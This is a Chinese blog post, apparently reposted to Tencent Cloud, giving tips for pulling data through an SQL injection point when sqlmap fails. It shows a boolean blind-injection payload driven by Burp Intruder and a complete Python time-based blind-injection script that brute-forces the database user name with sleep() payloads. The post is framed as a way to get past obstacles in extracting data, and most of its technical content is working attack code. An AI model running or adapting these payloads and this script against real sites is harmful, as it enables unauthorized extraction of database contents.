前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >当sqlmap跑不出数据怎么办

当sqlmap跑不出数据怎么办

作者头像
Bypass
发布2019-07-08 17:43:29
3.8K0
发布2019-07-08 17:43:29
举报
文章被收录于专栏:Bypass

你有没有遇到这样的场景,好不容易找到了一个SQL注入点,扔到SqlMap,爆错,怎么也跑不出数据。

这里分享两个很有效的小技巧,帮助你摆脱这种困境。前提是,你需要构造出有效的Pyaload。

第一种方法:利用BurpSuite实现半自动化盲注

为了方便演示,这里直接使用字符,构造SQL Payload:

代码语言:javascript
复制
?id=1 and substring(user(),1,1)='r'

步骤一:使用Burp抓包,发送到Intruder,设置模式和变量

步骤二:设置字典,变量1设置为 Numbers 1-20,变量2 设置为大小写字母+特殊字符

步骤三:Start attack,处理一下结果,依次排序,用户名为 root@localhost。

第二种方法:编写Python盲注脚本

编写Python脚本实现延迟注入,稍微改一下Payload就可以使用。

Python脚本实现延迟注入脚本:

代码语言:javascript
复制
import urllib
import urllib2
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  }
values={}
print 'Start to retrive user:'
user= ''
 
for i in range(1, 20):
    for payload in payloads:
        try: 
            values['id']="1 xor if(ascii(mid(user(),%s,1))=%s,sleep(5),0)" %(i,ord(payload))
            data = urllib.urlencode(values)
            url = "http://127.0.0.1/test.php"
            request = urllib2.Request(url,data,headers=header)
            response = urllib2.urlopen(request,timeout=5)
            result=response.read()
            print '.',
        except:
            user += payload
            print '\n[in progress]', user
            time.sleep(3.0)
            break

Python运行效果:

本文分享了两个SQL注入的小技巧,再结合手工注入,基本上能够解决很多SQL注入数据获取的问题。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-05-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档